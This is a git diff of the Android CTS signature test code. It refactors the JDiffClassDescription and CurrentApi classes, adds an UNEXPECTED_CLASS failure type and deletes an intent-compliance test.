+ private static final String MODIFIER_TRANSIENT = "transient";
+ private static final String MODIFIER_VOLATILE = "volatile";
+ private static final String MODIFIER_VISIBILITY = "visibility";
static final String ATTRIBUTE_NAME = "name";
- static final String ATTRIBUTE_VALUE = "value";
- static final String ATTRIBUTE_EXTENDS = "extends";
+ private static final String ATTRIBUTE_VALUE = "value";
+ private static final String ATTRIBUTE_EXTENDS = "extends";
static final String ATTRIBUTE_TYPE = "type";
- static final String ATTRIBUTE_RETURN = "return";
+ private static final String ATTRIBUTE_RETURN = "return";
/**
* Load field information from xml to memory.
@@ -103,7 +105,7 @@
* @return the new constructor
*/
static JDiffConstructor loadConstructorInfo(
- XmlPullParser parser, JDiffClassDescription currentClass) {
+ XmlPullParser parser, JDiffClassDescription currentClass) {
String name = currentClass.getClassName();
int modifier = jdiffModifierToReflectionFormat(name, parser);
return new JDiffConstructor(name, modifier);
@@ -118,15 +120,9 @@
* @return the new class description.
*/
static JDiffClassDescription loadClassInfo(
- XmlPullParser parser, boolean isInterface, String pkg,
- ResultObserver resultObserver) {
+ XmlPullParser parser, boolean isInterface, String pkg) {
String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- JDiffClassDescription currentClass;
- if (resultObserver != null) {
- currentClass = new JDiffClassDescription(pkg, className, resultObserver);
- } else {
- currentClass = new JDiffClassDescription(pkg, className);
- }
+ JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
@@ -143,7 +139,7 @@
* @param value modifier value
* @return converted modifier value
*/
- static int modifierDescriptionToReflectedType(String name, String key, String value) {
+ private static int modifierDescriptionToReflectedType(String name, String key, String value) {
if (key.equals(MODIFIER_ABSTRACT)) {
return value.equals("true") ? Modifier.ABSTRACT : 0;
} else if (key.equals(MODIFIER_FINAL)) {
@@ -183,7 +179,7 @@
* @param parser XML resource parser
* @return converted modifier
*/
- static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
+ private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
int modifier = 0;
for (int i = 0;i < parser.getAttributeCount();i++) {
modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
diff --git a/tests/signature/src/android/signature/cts/FailureType.java b/tests/signature/src/android/signature/cts/FailureType.java
index a701202..77820eb 100644
--- a/tests/signature/src/android/signature/cts/FailureType.java
+++ b/tests/signature/src/android/signature/cts/FailureType.java
@@ -13,5 +13,6 @@
MISMATCH_INTERFACE_METHOD,
MISMATCH_METHOD,
MISMATCH_FIELD,
+ UNEXPECTED_CLASS,
CAUGHT_EXCEPTION,
}
diff --git a/tests/signature/src/android/signature/cts/IntentTest.java b/tests/signature/src/android/signature/cts/IntentTest.java
deleted file mode 100644
index 3d674ab..0000000
--- a/tests/signature/src/android/signature/cts/IntentTest.java
+++ /dev/null
@@ -1,289 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-
-import static android.signature.cts.CurrentApi.MODIFIER_ABSTRACT;
-import static android.signature.cts.CurrentApi.MODIFIER_FINAL;
-import static android.signature.cts.CurrentApi.MODIFIER_NATIVE;
-import static android.signature.cts.CurrentApi.MODIFIER_PRIVATE;
-import static android.signature.cts.CurrentApi.MODIFIER_PROTECTED;
-import static android.signature.cts.CurrentApi.MODIFIER_PUBLIC;
-import static android.signature.cts.CurrentApi.MODIFIER_STATIC;
-import static android.signature.cts.CurrentApi.MODIFIER_SYNCHRONIZED;
-import static android.signature.cts.CurrentApi.MODIFIER_TRANSIENT;
-import static android.signature.cts.CurrentApi.MODIFIER_VOLATILE;
-import static android.signature.cts.CurrentApi.MODIFIER_VISIBILITY;
-
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_EXTENDS;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_RETURN;
-
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
-
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.io.IOException;
-import java.io.File;
-import java.io.FileInputStream;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-import org.junit.Assert;
-import org.junit.runner.RunWith;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-/**
- * Validate that the android intents used by APKs on this device are part of the
- * platform.
- */
-@RunWith(AndroidJUnit4.class)
-public class IntentTest {
- private static final String TAG = IntentTest.class.getSimpleName();
-
- private static final File SIGNATURE_TEST_PACKGES =
- new File("/data/local/tmp/signature-test-packages");
- private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
- private static final String ACTION_LINE_PREFIX = " Action: ";
- private static final String MODULE_NAME = "CtsSignatureTestCases";
-
- private PackageManager mPackageManager;
- private Set<String> intentWhitelist;
-
- @Before
- public void setupPackageManager() throws Exception {
- mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
- intentWhitelist = getIntentWhitelist();
- }
-
- @Test
- public void shouldNotFindUnexpectedIntents() throws Exception {
- Set<String> platformIntents = lookupPlatformIntents();
- platformIntents.addAll(intentWhitelist);
-
- Set<String> allInvalidIntents = new HashSet<>();
-
- Set<String> errors = new HashSet<>();
- List<ApplicationInfo> packages =
- mPackageManager.getInstalledApplications(PackageManager.GET_META_DATA);
- for (ApplicationInfo appInfo : packages) {
- if (!isSystemApp(appInfo) && !isUpdatedSystemApp(appInfo)) {
- // Only examine system apps
- continue;
- }
- Set<String> invalidIntents = new HashSet<>();
- Set<String> activeIntents = lookupActiveIntents(appInfo.packageName);
-
- for (String activeIntent : activeIntents) {
- String intent = activeIntent.trim();
- if (!platformIntents.contains(intent) &&
- intent.startsWith(ANDROID_INTENT_PREFIX)) {
- invalidIntents.add(activeIntent);
- allInvalidIntents.add(activeIntent);
- }
- }
-
- String error = String.format("Package: %s Invalid Intent: %s",
- appInfo.packageName, invalidIntents);
- if (!invalidIntents.isEmpty()) {
- errors.add(error);
- }
- }
-
- // Log the whitelist line to make it easy to update.
- for (String intent : allInvalidIntents) {
- Log.d(TAG, String.format("whitelist.add(\"%s\");", intent));
- }
-
- Assert.assertTrue(errors.toString(), errors.isEmpty());
- }
-
- private Set<String> lookupPlatformIntents() {
- try {
- XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
-
- Set<String> intents = new HashSet<>();
- XmlPullParser parser = factory.newPullParser();
- parser.setInput(new FileInputStream(new File(CURRENT_API_FILE)), null);
- intents.addAll(parse(parser));
-
- parser = factory.newPullParser();
- parser.setInput(new FileInputStream(new File(SYSTEM_CURRENT_API_FILE)), null);
- intents.addAll(parse(parser));
- return intents;
- } catch (XmlPullParserException | IOException e) {
- throw new RuntimeException("failed to parse", e);
- }
- }
-
- private static Set<String> parse(XmlPullParser parser)
- throws XmlPullParserException, IOException {
- JDiffClassDescription currentClass = null;
- String currentPackage = "";
- JDiffMethod currentMethod = null;
-
- Set<String> androidIntents = new HashSet<>();
- Set<String> keyTagSet = new HashSet<String>();
- keyTagSet.addAll(Arrays.asList(new String[] {
- TAG_PACKAGE, TAG_CLASS, TAG_INTERFACE, TAG_IMPLEMENTS, TAG_CONSTRUCTOR,
- TAG_METHOD, TAG_PARAM, TAG_EXCEPTION, TAG_FIELD }));
-
- int type;
- while ((type=parser.next()) != XmlPullParser.START_TAG
- && type != XmlPullParser.END_DOCUMENT) { }
-
- if (type != XmlPullParser.START_TAG) {
- throw new XmlPullParserException("No start tag found");
- }
-
- if (!parser.getName().equals(TAG_ROOT)) {
- throw new XmlPullParserException(
- "Unexpected start tag: found " + parser.getName() + ", expected " + TAG_ROOT);
- }
-
- while (true) {
- type = XmlPullParser.START_DOCUMENT;
- while ((type=parser.next()) != XmlPullParser.START_TAG
- && type != XmlPullParser.END_DOCUMENT
- && type != XmlPullParser.END_TAG) {
- }
-
- if (type == XmlPullParser.END_TAG) {
- if (TAG_PACKAGE.equals(parser.getName())) {
- currentPackage = "";
- }
- continue;
- }
-
- if (type == XmlPullParser.END_DOCUMENT) {
- break;
- }
-
- String tagname = parser.getName();
- if (!keyTagSet.contains(tagname)) {
- continue;
- }
-
- if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
- currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- } else if (tagname.equals(TAG_CLASS)) {
- currentClass = CurrentApi.loadClassInfo(
- parser, false, currentPackage, null /*resultObserver*/);
- } else if (tagname.equals(TAG_INTERFACE)) {
- currentClass = CurrentApi.loadClassInfo(
- parser, true, currentPackage, null /*resultObserver*/);
- } else if (tagname.equals(TAG_FIELD)) {
- JDiffField field =
- CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
- currentClass.addField(field);
- }
-
- if (currentClass != null) {
- for (JDiffField diffField : currentClass.getFieldList()) {
- String fieldValue = diffField.getValueString();
- if (fieldValue != null) {
- fieldValue = fieldValue.replace("\"", "");
- if (fieldValue.startsWith(ANDROID_INTENT_PREFIX)) {
- androidIntents.add(fieldValue);
- }
- }
- }
- }
- }
-
- return androidIntents;
- }
-
- private static boolean isSystemApp(ApplicationInfo applicationInfo) {
- return (applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
- }
-
- private static boolean isUpdatedSystemApp(ApplicationInfo applicationInfo) {
- return (applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
- }
-
- private static Set<String> lookupActiveIntents(String packageName) {
- HashSet<String> activeIntents = new HashSet<>();
- File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
- if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
- throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
- }
- try (
- BufferedReader in = new BufferedReader(
- new InputStreamReader(new FileInputStream(dumpsysPackage)))) {
- String line;
- while ((line = in.readLine()) != null) {
- if (line.startsWith(ACTION_LINE_PREFIX)) {
- String intent = line.substring(
- ACTION_LINE_PREFIX.length(), line.length() - 1);
- activeIntents.add(intent.replace("\"", ""));
- }
- }
- return activeIntents;
- } catch (Exception e) {
- throw new RuntimeException("While retrieving dumpsys", e);
- }
- }
-
- private static Set<String> getIntentWhitelist() throws Exception {
- Set<String> whitelist = new HashSet<>();
-
- DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
- List<String> intentWhitelist = dcds.getValues("intent_whitelist");
-
- // Log the whitelist Intent
- for (String intent : intentWhitelist) {
- Log.d(TAG, String.format("whitelist add: %s", intent));
- whitelist.add(intent);
- }
-
- return whitelist;
- }
-}
diff --git a/tests/signature/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
index 6eafc32..df91ddb 100644
--- a/tests/signature/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
@@ -16,87 +16,37 @@
package android.signature.cts;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.GenericArrayType;
-import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
-import java.lang.reflect.ParameterizedType;
-import java.lang.reflect.Type;
-import java.lang.reflect.TypeVariable;
-import java.lang.reflect.WildcardType;
import java.util.ArrayList;
import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.Set;
/**
* Represents class descriptions loaded from a jdiff xml file. Used
* for CTS SignatureTests.
*/
public class JDiffClassDescription {
- /** Indicates that the class is an annotation. */
- private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
- /** Indicates that the class is an enum. */
- private static final int CLASS_MODIFIER_ENUM = 0x00004000;
-
- /** Indicates that the method is a bridge method. */
- private static final int METHOD_MODIFIER_BRIDGE = 0x00000040;
- /** Indicates that the method is takes a variable number of arguments. */
- private static final int METHOD_MODIFIER_VAR_ARGS = 0x00000080;
- /** Indicates that the method is a synthetic method. */
- private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
-
- private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
- static {
- // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
- // methods that do not appear in current.txt. Interfaces added to this
- // list are probably not meant to be implemented in an application.
- HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
- HIDDEN_INTERFACE_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
- HIDDEN_INTERFACE_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
- }
public enum JDiffType {
INTERFACE, CLASS
}
- @SuppressWarnings("unchecked")
- private Class<?> mClass;
- // A map of field name to field of the fields contained in {@code mClass}
- private Map<String, Field> mClassFieldMap;
-
- private String mPackageName;
- private String mShortClassName;
+ private final String mPackageName;
+ private final String mShortClassName;
/**
* Package name + short class name
*/
- private String mAbsoluteClassName;
+ private final String mAbsoluteClassName;
private int mModifier;
private String mExtendedClass;
- private List<String> implInterfaces = new ArrayList<String>();
- private List<JDiffField> jDiffFields = new ArrayList<JDiffField>();
- private List<JDiffMethod> jDiffMethods = new ArrayList<JDiffMethod>();
- private List<JDiffConstructor> jDiffConstructors = new ArrayList<JDiffConstructor>();
+ private List<String> implInterfaces = new ArrayList<>();
+ private List<JDiffField> jDiffFields = new ArrayList<>();
+ private List<JDiffMethod> jDiffMethods = new ArrayList<>();
+ private List<JDiffConstructor> jDiffConstructors = new ArrayList<>();
- private ResultObserver mResultObserver;
private JDiffType mClassType;
/**
@@ -106,26 +56,46 @@
* @param className the name of the class.
*/
public JDiffClassDescription(String pkg, String className) {
- this(pkg, className, new ResultObserver() {
- @Override
- public void notifyFailure(FailureType type, String name, String errorMessage) {
- // This is a null result observer that doesn't do anything.
- }
- });
- }
-
- /**
- * Creates a new JDiffClassDescription with the specified results
- * observer.
- *
- * @param pkg the java package this class belongs in.
- * @param className the name of the class.
- * @param resultObserver the resultObserver to get results with.
- */
- public JDiffClassDescription(String pkg, String className, ResultObserver resultObserver) {
mPackageName = pkg;
mShortClassName = className;
- mResultObserver = resultObserver;
+ mAbsoluteClassName = mPackageName + "." + mShortClassName;
+ }
+
+
+ String getPackageName() {
+ return mPackageName;
+ }
+
+ String getShortClassName() {
+ return mShortClassName;
+ }
+
+ int getModifier() {
+ return mModifier;
+ }
+
+ String getExtendedClass() {
+ return mExtendedClass;
+ }
+
+ List<String> getImplInterfaces() {
+ return implInterfaces;
+ }
+
+ List<JDiffField> getFields() {
+ return jDiffFields;
+ }
+
+ List<JDiffMethod> getMethods() {
+ return jDiffMethods;
+ }
+
+ List<JDiffConstructor> getConstructors() {
+ return jDiffConstructors;
+ }
+
+ JDiffType getClassType() {
+ return mClassType;
}
/**
@@ -133,7 +103,7 @@
*
* @param iname name of interface
*/
- public void addImplInterface(String iname) {
+ void addImplInterface(String iname) {
implInterfaces.add(iname);
}
@@ -178,83 +148,50 @@
}
static String convertModifersToModifierString(int modifiers) {
- StringBuffer sb = new StringBuffer();
- boolean isFirst = true;
+ StringBuilder sb = new StringBuilder();
+ String separator = "";
// order taken from Java Language Spec, sections 8.1.1, 8.3.1, and 8.4.3
if ((modifiers & Modifier.ABSTRACT) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("abstract");
+ sb.append(separator).append("abstract");
+ separator = " ";
}
if ((modifiers & Modifier.STATIC) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("static");
+ sb.append(separator).append("static");
+ separator = " ";
}
if ((modifiers & Modifier.FINAL) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("final");
+ sb.append(separator).append("final");
+ separator = " ";
}
if ((modifiers & Modifier.TRANSIENT) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("transient");
+ sb.append(separator).append("transient");
+ separator = " ";
}
if ((modifiers & Modifier.VOLATILE) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("volatile");
+ sb.append(separator).append("volatile");
+ separator = " ";
}
if ((modifiers & Modifier.SYNCHRONIZED) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("synchronized");
+ sb.append(separator).append("synchronized");
+ separator = " ";
}
if ((modifiers & Modifier.NATIVE) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("native");
+ sb.append(separator).append("native");
+ separator = " ";
}
if ((modifiers & Modifier.STRICT) != 0) {
- if (isFirst) {
- isFirst = false;
- } else {
- sb.append(" ");
- }
- sb.append("strictfp");
+ sb.append(separator).append("strictfp");
}
return sb.toString();
}
- public abstract static class JDiffElement {
+ abstract static class JDiffElement {
final String mName;
int mModifier;
- public JDiffElement(String name, int modifier) {
+ JDiffElement(String name, int modifier) {
mName = name;
mModifier = modifier;
}
@@ -264,7 +201,7 @@
* Represents a field.
*/
public static final class JDiffField extends JDiffElement {
- private String mFieldType;
+ String mFieldType;
private String mFieldValue;
public JDiffField(String name, String fieldType, int modifier, String value) {
@@ -287,12 +224,12 @@
* @param className The specified class name.
* @return A readable string to represent this field along with the class name.
*/
- public String toReadableString(String className) {
+ String toReadableString(String className) {
return className + "#" + mName + "(" + mFieldType + ")";
}
public String toSignatureString() {
- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
// access level
String accesLevel = convertModifiersToAccessLevel(mModifier);
@@ -317,9 +254,9 @@
* Represents a method.
*/
public static class JDiffMethod extends JDiffElement {
- protected String mReturnType;
- protected ArrayList<String> mParamList;
- protected ArrayList<String> mExceptionList;
+ String mReturnType;
+ ArrayList<String> mParamList;
+ ArrayList<String> mExceptionList;
public JDiffMethod(String name, int modifier, String returnType) {
super(name, modifier);
@@ -330,8 +267,8 @@
mReturnType = scrubJdiffParamType(returnType);
}
- mParamList = new ArrayList<String>();
- mExceptionList = new ArrayList<String>();
+ mParamList = new ArrayList<>();
+ mExceptionList = new ArrayList<>();
}
/**
@@ -358,7 +295,7 @@
* @param className The specified class name.
* @return A readable string to represent this method along with the class name.
*/
- public String toReadableString(String className) {
+ String toReadableString(String className) {
return className + "#" + mName + "(" + convertParamList(mParamList) + ")";
}
@@ -370,11 +307,11 @@
*/
private static String convertParamList(final ArrayList<String> params) {
- StringBuffer paramList = new StringBuffer();
+ StringBuilder paramList = new StringBuilder();
if (params != null) {
for (String str : params) {
- paramList.append(str + ", ");
+ paramList.append(str).append(", ");
}
if (params.size() > 0) {
paramList.delete(paramList.length() - 2, paramList.length());
@@ -385,7 +322,7 @@
}
public String toSignatureString() {
- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
// access level
String accesLevel = convertModifiersToAccessLevel(mModifier);
@@ -445,14 +382,6 @@
super(name, modifier, null);
}
- public JDiffConstructor(String name, String[] param, int modifier) {
- super(name, modifier, null);
-
- for (int i = 0; i < param.length; i++) {
- addParam(param[i]);
- }
- }
-
/**
* Gets the return type.
*
@@ -466,551 +395,6 @@
}
/**
- * Checks test class's name, modifier, fields, constructors, and
- * methods.
- */
- public void checkSignatureCompliance() {
- checkClassCompliance();
- if (mClass != null) {
- mClassFieldMap = buildFieldMap(mClass);
- checkFieldsCompliance();
- checkConstructorCompliance();
- checkMethodCompliance();
- } else {
- mClassFieldMap = null;
- }
- }
-
- /**
- * Checks to ensure that the modifiers value for two methods are
- * compatible.
- *
- * Allowable differences are:
- * - synchronized is allowed to be removed from an apiMethod
- * that has it
- * - the native modified is ignored
- *
- * @param apiMethod the method read from the api file.
- * @param reflectedMethod the method found via reflections.
- */
- private boolean areMethodsModifiedCompatible(JDiffMethod apiMethod ,
- Method reflectedMethod) {
-
- // If the apiMethod isn't synchronized
- if (((apiMethod.mModifier & Modifier.SYNCHRONIZED) == 0) &&
- // but the reflected method is
- ((reflectedMethod.getModifiers() & Modifier.SYNCHRONIZED) != 0)) {
- // that is a problem
- return false;
- }
-
- // Mask off NATIVE since it is a don't care. Also mask off
- // SYNCHRONIZED since we've already handled that check.
- int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
- int mod1 = reflectedMethod.getModifiers() & ~ignoredMods;
- int mod2 = apiMethod.mModifier & ~ignoredMods;
-
- // We can ignore FINAL for classes
- if ((mModifier & Modifier.FINAL) != 0) {
- mod1 &= ~Modifier.FINAL;
- mod2 &= ~Modifier.FINAL;
- }
-
- return mod1 == mod2;
- }
-
- /**
- * Checks that the method found through reflection matches the
- * specification from the API xml file.
- */
- private void checkMethodCompliance() {
- for (JDiffMethod method : jDiffMethods) {
- try {
-
- Method m = findMatchingMethod(method);
- if (m == null) {
- mResultObserver.notifyFailure(FailureType.MISSING_METHOD,
- method.toReadableString(mAbsoluteClassName),
- "No method with correct signature found:" +
- method.toSignatureString());
- } else {
- if (m.isVarArgs()) {
- method.mModifier |= METHOD_MODIFIER_VAR_ARGS;
- }
- if (m.isBridge()) {
- method.mModifier |= METHOD_MODIFIER_BRIDGE;
- }
- if (m.isSynthetic()) {
- method.mModifier |= METHOD_MODIFIER_SYNTHETIC;
- }
-
- // FIXME: A workaround to fix the final mismatch on enumeration
- if (mClass.isEnum() && method.mName.equals("values")) {
- return;
- }
-
- if (!areMethodsModifiedCompatible(method, m)) {
- mResultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
- method.toReadableString(mAbsoluteClassName),
- "Non-compatible method found when looking for " +
- method.toSignatureString());
- }
- }
- } catch (Exception e) {
- loge("Got exception when checking method compliance", e);
- mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
- method.toReadableString(mAbsoluteClassName),
- "Exception!");
- }
- }
- }
-
- /**
- * Checks if the two types of methods are the same.
- *
- * @param jDiffMethod the jDiffMethod to compare
- * @param method the reflected method to compare
- * @return true, if both methods are the same
- */
- private boolean matches(JDiffMethod jDiffMethod, Method reflectedMethod) {
- // If the method names aren't equal, the methods can't match.
- if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
- return false;
- }
- String jdiffReturnType = jDiffMethod.mReturnType;
- String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
- List<String> jdiffParamList = jDiffMethod.mParamList;
-
- // Next, compare the return types of the two methods. If
- // they aren't equal, the methods can't match.
- if (!jdiffReturnType.equals(reflectionReturnType)) {
- return false;
- }
-
- Type[] params = reflectedMethod.getGenericParameterTypes();
-
- // Next, check the method parameters. If they have different
- // parameter lengths, the two methods can't match.
- if (jdiffParamList.size() != params.length) {
- return false;
- }
-
- boolean piecewiseParamsMatch = true;
-
- // Compare method parameters piecewise and return true if they all match.
- for (int i = 0; i < jdiffParamList.size(); i++) {
- piecewiseParamsMatch &= compareParam(jdiffParamList.get(i), params[i]);
- }
- if (piecewiseParamsMatch) {
- return true;
- }
-
- /** NOTE: There are cases where piecewise method parameter checking
- * fails even though the strings are equal, so compare entire strings
- * against each other. This is not done by default to avoid a
- * TransactionTooLargeException.
- * Additionally, this can fail anyway due to extra
- * information dug up by reflection.
- *
- * TODO: fix parameter equality checking and reflection matching
- * See https://b.corp.google.com/issues/27726349
- */
-
- StringBuilder reflectedMethodParams = new StringBuilder("");
- StringBuilder jdiffMethodParams = new StringBuilder("");
-
- for (int i = 0; i < jdiffParamList.size(); i++) {
- jdiffMethodParams.append(jdiffParamList.get(i));
- reflectedMethodParams.append(params[i]);
- }
-
- String jDiffFName = jdiffMethodParams.toString();
- String refName = reflectedMethodParams.toString();
-
- return jDiffFName.equals(refName);
- }
-
- /**
- * Finds the reflected method specified by the method description.
- *
- * @param method description of the method to find
- * @return the reflected method, or null if not found.
- */
- @SuppressWarnings("unchecked")
- private Method findMatchingMethod(JDiffMethod method) {
- Method[] methods = mClass.getDeclaredMethods();
-
- for (Method m : methods) {
- if (matches(method, m)) {
- return m;
- }
- }
-
- return null;
- }
-
- /**
- * Compares the parameter from the API and the parameter from
- * reflection.
- *
- * @param jdiffParam param parsed from the API xml file.
- * @param reflectionParamType param gotten from the Java reflection.
- * @return True if the two params match, otherwise return false.
- */
- private static boolean compareParam(String jdiffParam, Type reflectionParamType) {
- if (jdiffParam == null) {
- return false;
- }
-
- String reflectionParam = typeToString(reflectionParamType);
- // Most things aren't varargs, so just do a simple compare
- // first.
- if (jdiffParam.equals(reflectionParam)) {
- return true;
- }
-
- // Check for varargs. jdiff reports varargs as ..., while
- // reflection reports them as []
- int jdiffParamEndOffset = jdiffParam.indexOf("...");
- int reflectionParamEndOffset = reflectionParam.indexOf("[]");
- if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
- jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
- reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
- return jdiffParam.equals(reflectionParam);
- }
-
- return false;
- }
-
- /**
- * Checks whether the constructor parsed from API xml file and
- * Java reflection are compliant.
- */
- @SuppressWarnings("unchecked")
- private void checkConstructorCompliance() {
- for (JDiffConstructor con : jDiffConstructors) {
- try {
- Constructor<?> c = findMatchingConstructor(con);
- if (c == null) {
- mResultObserver.notifyFailure(FailureType.MISSING_METHOD,
- con.toReadableString(mAbsoluteClassName),
- "No method with correct signature found:" +
- con.toSignatureString());
- } else {
- if (c.isVarArgs()) {// some method's parameter are variable args
- con.mModifier |= METHOD_MODIFIER_VAR_ARGS;
- }
- if (c.getModifiers() != con.mModifier) {
- mResultObserver.notifyFailure(
- FailureType.MISMATCH_METHOD,
- con.toReadableString(mAbsoluteClassName),
- "Non-compatible method found when looking for " +
- con.toSignatureString());
- }
- }
- } catch (Exception e) {
- loge("Got exception when checking constructor compliance", e);
- mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
- con.toReadableString(mAbsoluteClassName),
- "Exception!");
- }
- }
- }
-
- /**
- * Searches available constructor.
- *
- * @param jdiffDes constructor description to find.
- * @return reflected constructor, or null if not found.
- */
- @SuppressWarnings("unchecked")
- private Constructor<?> findMatchingConstructor(JDiffConstructor jdiffDes) {
- for (Constructor<?> c : mClass.getDeclaredConstructors()) {
- Type[] params = c.getGenericParameterTypes();
- boolean isStaticClass = ((mClass.getModifiers() & Modifier.STATIC) != 0);
-
- int startParamOffset = 0;
- int numberOfParams = params.length;
-
